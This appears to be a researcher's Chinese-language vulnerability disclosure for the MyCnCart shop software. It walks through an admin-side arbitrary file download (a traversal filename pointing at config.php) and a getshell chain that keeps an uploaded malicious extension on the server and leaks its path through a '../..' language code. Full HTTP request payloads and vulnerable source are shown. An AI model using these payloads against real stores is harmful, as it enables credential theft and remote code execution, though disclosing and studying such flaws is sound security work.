####程序漏洞流程分析:
漏洞分析流程图

####问题产生:
该程序后台可设置用户下载文件,正常情况下需要管理员上传文件后提供给用户下载,管理员上传文件后,程序会把服务器端返回的文件名,作为管理员设置的下载文件选项,保存到数据库,于是用户可在前台下载该文件(需达到一定条件,一般是完成订单后)。在这整个过程中,管理员在后台可自行定义下载文件的地址,且未对管理员输入的下载地址做合理判断和过滤,导致可跨目录下载服务器上任意文件。

####漏洞分析:
0x01 代码位置:\www\admin\controller\catalog\download.php 第47-77行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public function edit() {
$this->load->language('catalog/download');

$this->document->setTitle($this->language->get('heading_title'));

$this->load->model('catalog/download');

if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
$this->model_catalog_download->editDownload($this->request->get['download_id'], $this->request->post);

$this->session->data['success'] = $this->language->get('text_success');

$url = '';

if (isset($this->request->get['sort'])) {
$url .= '&sort=' . $this->request->get['sort'];
}

if (isset($this->request->get['order'])) {
$url .= '&order=' . $this->request->get['order'];
}

if (isset($this->request->get['page'])) {
$url .= '&page=' . $this->request->get['page'];
}

$this->response->redirect($this->url->link('catalog/download', 'user_token=' . $this->session->data['user_token'] . $url, true));
}

$this->getForm();
}

代码分析,可看到这段代码$this->model_catalog_download->editDownload($this->request->get[‘download_id’], $this->request->post);接收整个POST请求数据传入到editDownload方法中,接下来我们跟进到该方法中:
代码位置:\WWW\admin\model\catalog\download.php 第15-23行:

1
2
3
4
5
6
7
8
9
public function editDownload($download_id, $data) {
$this->db->query("UPDATE " . DB_PREFIX . "download SET filename = '" . $this->db->escape($data['filename']) . "', mask = '" . $this->db->escape($data['mask']) . "' WHERE download_id = '" . (int)$download_id . "'");

$this->db->query("DELETE FROM " . DB_PREFIX . "download_description WHERE download_id = '" . (int)$download_id . "'");

foreach ($data['download_description'] as $language_id => $value) {
$this->db->query("INSERT INTO " . DB_PREFIX . "download_description SET download_id = '" . (int)$download_id . "', language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($value['name']) . "'");
}
}

代码分析:该段代码中第一句就是跟进download_id去更新download表中的filename和mask字段的数据内容。另外$this->db->escape($data[‘filename’])这个函数我就不详细说明,具体地程序逻辑大致是调用mysql_real_escape_string()对用户传入的字符串进行转义处理 ,”../“这类字符不受影响。所以代码到这里我们得知,管理员可编辑下载文件的地址为任意可控,跨目录的文件亦可。

0x02 下面我们看前台的下载文件处的代码,代码位置:\WWW\catalog\controller\account\download.php 第100-145行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
public function download() {
if (!$this->customer->isLogged()) {
$this->session->data['redirect'] = $this->url->link('account/download', '', true);

$this->response->redirect($this->url->link('account/login', '', true));
}

$this->load->model('account/download');

if (isset($this->request->get['download_id'])) {
$download_id = $this->request->get['download_id'];
} else {
$download_id = 0;
}

$download_info = $this->model_account_download->getDownload($download_id);
if ($download_info) {
$file = DIR_DOWNLOAD . $download_info['filename'];
$mask = basename($download_info['mask']);

if (!headers_sent()) {
if (file_exists($file)) {
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . ($mask ? $mask : basename($file)) . '"');
header('Expires: 0');
header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Pragma: public');
header('Content-Length: ' . filesize($file));

if (ob_get_level()) {
ob_end_clean();
}

readfile($file, 'rb');

exit();
} else {
exit('Error: Could not find file ' . $file . '!');
}
} else {
exit('Error: Headers already sent out!');
}
} else {
$this->response->redirect($this->url->link('account/download', '', true));
}
}

代码分析:
这段代码的程序逻辑是通过用户提交的download_id,去数据库查找相应记录,获取filename字段,$file = DIR_DOWNLOAD . $download_info[‘filename’],拼接得到下载文件的地址,判断文件是否存在后,直接读取并返回该文件内容。所以最后,通过前面后台修改下载文件地址为任意文件地址,前台可通过download_id直接下载该任意文件,导致最终任意文件下载漏洞的产生。

####漏洞利用:
后台管理下载文件功能:
mycncart01
后台修改下载文件地址数据包:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
POST /admin/index.php?route=catalog/download/edit&user_token=6Bqzz0aJpd8dXmHj7rFHHxk6udU5okFY&download_id=5 HTTP/1.1
Host: 192.168.98.140
Content-Length: 644
Cache-Control: max-age=0
Origin: http://192.168.98.140
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryUB4XY3KwcHAu3WdM
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://192.168.98.140/admin/index.php?route=catalog/download/edit&user_token=6Bqzz0aJpd8dXmHj7rFHHxk6udU5okFY&download_id=5
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=ntl13nj21ou8m8nkmmqlku90l0; OCSESSID=4a0077bb1c86dc60046ba966c5; language=zh-cn; currency=CNY
Connection: close

------WebKitFormBoundaryUB4XY3KwcHAu3WdM
Content-Disposition: form-data; name="download_description[2][name]"

测试使用
------WebKitFormBoundaryUB4XY3KwcHAu3WdM
Content-Disposition: form-data; name="download_description[1][name]"

测试使用
------WebKitFormBoundaryUB4XY3KwcHAu3WdM
Content-Disposition: form-data; name="download_description[3][name]"

测试使用
------WebKitFormBoundaryUB4XY3KwcHAu3WdM
Content-Disposition: form-data; name="filename"

./../../WWW/config.php
------WebKitFormBoundaryUB4XY3KwcHAu3WdM
Content-Disposition: form-data; name="mask"

test.txt
------WebKitFormBoundaryUB4XY3KwcHAu3WdM--

mycncart02

这里查看存入数据库中的字段内容:
mycncart03
这里得提一下,后台具体如何正确的添加下载文件项目,可参考官方提供的手册:

1
http://www.mycncart.com/blog-130.html

下面访问前台用户功能,下载对应的该文件,可看到已经成功下载了该配置文件:
构造链接:

1
http://192.168.*.*/index.php?route=account/download/download&download_id=5

mycncart04

原创漏洞,转载请备注来源..

###后台任意代码执行(getshell):
漏洞位置:
后台安装扩展功能存在漏洞缺陷,配合其他后台业务功能,可导致任意代码执行。具体地,后台安装扩展功能分为多个步骤进行处理,且处理过程由客户端发起,攻击者只需控制其中一个删除临时文件的请求不要发起,则上传到服务器端的恶意代码就保存在的服务器上,在通过其他业务功能的漏洞获取到上传文件的保存路径,则直接请求该恶意文件,可造成任意代码执行。

首先我们需要先确认保存上传文件的目录是否存在于web程序目录底下,如果在可直接继续以下操作,如果不在,这里需要先设置保存上传文件目录放在web程序目录底下,该设置的请求数据包如下,其中path为设置的路径地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /admin/index.php?route=common/security/move&user_token=XJ6c5vvOBR2ThXCbjyxQkpMyB3uVdLhK HTTP/1.1
Host: 192.168.98.140
Content-Length: 61
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://192.168.98.140
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://192.168.98.140/admin/index.php?route=common/dashboard&user_token=XJ6c5vvOBR2ThXCbjyxQkpMyB3uVdLhK
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=ntl13nj21ou8m8nkmmqlku90l0; OCSESSID=4a0077bb1c86dc60046ba966c5; language=zh-cn; currency=CNY
Connection: close

directory=storage&path=F%3A%2FphpStudy%2FPHPTutorial%2FWWW%2F

后台安装扩展功能:

该处位置可上传程序扩展,根据官方说明,上传的文件名必须以.ocmod.zip为后缀。所以下面我们构造一个带有恶意可执行文件的压缩包文件template.ocmod.zip。

上传该文件。上传该文件后web应用程序会针对该上传文件做四次相应的处理,大致分别是:上传、安装、解压、移动、xml、移除临时文件。这六个步骤都是通过客户端自动发起的请求,在这六个步骤中,我们让最后一步移除临时文件请求不要发起,也就是放在服务器上的文件不被删除,那么该漏洞文件就被保留在了服务器上,直接访问后可被执行。
具体地这六个请求:
1.上传:

2.安装:

3.解压:

4.移动:

5.xml:

6.移除:

在以上6个步骤中,最后一步不让客户端发起移除操作的数据包请求,即不让程序删除该漏洞文件,于是直接访问该漏洞文件,可导致该文件被直接执行。但是上传的文件有一个重命名的过程,且文件夹的命名拼接了10位随机数,所以下面要想办法获取到这个文件夹的名称。
在后台语言管理的功能中,存在漏洞,可设置二级跨目录字段‘../..’,导致程序可获取网站根目录底下的所有文件夹路径,泄露了我们需要的随机数文件名。
1)设置跨目录字段请求数据包:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
POST /admin/index.php?route=localisation/language/edit&user_token=tjfveKye1n3EA4x35EOmcDMHYaOw1eje&language_id=8 HTTP/1.1
Host: 192.168.98.140
Content-Length: 530
Cache-Control: max-age=0
Origin: http://192.168.98.140
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykwHYQKnmYyQLtqRr
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.45 Safari/537.36 OPR/53.0.2907.7 (Edition beta)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://192.168.98.140/admin/index.php?route=localisation/language/edit&user_token=tjfveKye1n3EA4x35EOmcDMHYaOw1eje&language_id=8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=ntl13nj21ou8m8nkmmqlku90l0; OCSESSID=4a0077bb1c86dc60046ba966c5; language=zh-cn; currency=CNY
Connection: close

------WebKitFormBoundarykwHYQKnmYyQLtqRr
Content-Disposition: form-data; name="name"

bigdiao
------WebKitFormBoundarykwHYQKnmYyQLtqRr
Content-Disposition: form-data; name="code"

../..
------WebKitFormBoundarykwHYQKnmYyQLtqRr
Content-Disposition: form-data; name="locale"

test123
------WebKitFormBoundarykwHYQKnmYyQLtqRr
Content-Disposition: form-data; name="status"

1
------WebKitFormBoundarykwHYQKnmYyQLtqRr
Content-Disposition: form-data; name="sort_order"

1
------WebKitFormBoundarykwHYQKnmYyQLtqRr--

这里说明一下,code字段只会检测用户提交的这个字段不要小于两个字符,且这个字段未设置过,具体地代码我就不放出来了。

2)于是接下来,我们利用设置的这个跨目录字段结合后台功能,获取web系统中的所有文件路径:
代码位置:\WWW\admin\controller\design\translation.php 第427-463行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
public function path() {
$this->load->language('design/translation');

$json = array();

if (isset($this->request->get['language_id'])) {
$language_id = $this->request->get['language_id'];
} else {
$language_id = 0;
}

$this->load->model('localisation/language');

$language_info = $this->model_localisation_language->getLanguage($language_id);

if (!empty($language_info)) {
$path = glob(DIR_CATALOG . 'language/'.$language_info['code'].'/*');

while (count($path) != 0) {
$next = array_shift($path);

foreach ((array)glob($next) as $file) {
if (is_dir($file)) {
$path[] = $file . '/*';
}

if (substr($file, -4) == '.php') {
$json[] = substr(substr($file, strlen(DIR_CATALOG . 'language/'.$language_info['code'].'/')), 0, -4);
}
}
}
}

$this->response->addHeader('Content-Type: application/json');
$this->response->setOutput(json_encode($json));
}

代码分析:通过language_id去获取我们之前设置的code跨目录字段,于是拼接到DIR_CATALOG . ‘language/‘.$language_info[‘code’].’/‘,这样的目录真实地址变成了DIR_CATALOG . /language/../../。glob()函数相当于获取网站根目录底下的所有文件路径信息,之后会把文件目录中包含.php文件的赋值给$json,之后json_encode后返回到页面前端。
请求数据包:

1
2
3
4
5
6
7
8
9
10
GET /admin/index.php?route=design/translation/path&user_token=tjfveKye1n3EA4x35EOmcDMHYaOw1eje&language_id=8&path= HTTP/1.1
Host: 192.168.98.140
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.45 Safari/537.36 OPR/53.0.2907.7 (Edition beta)
Referer: http://192.168.98.140/admin/index.php?route=design/theme&user_token=tjfveKye1n3EA4x35EOmcDMHYaOw1eje
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=ntl13nj21ou8m8nkmmqlku90l0; OCSESSID=4a0077bb1c86dc60046ba966c5; language=zh-cn; currency=CNY
Connection: close

请求返回:

可看到这里返回了文件路径,于是我们直接请求这个恶意文件:
http://192.168.98.140/storage/upload/tmp-G9PLTIWfzU/template/template.php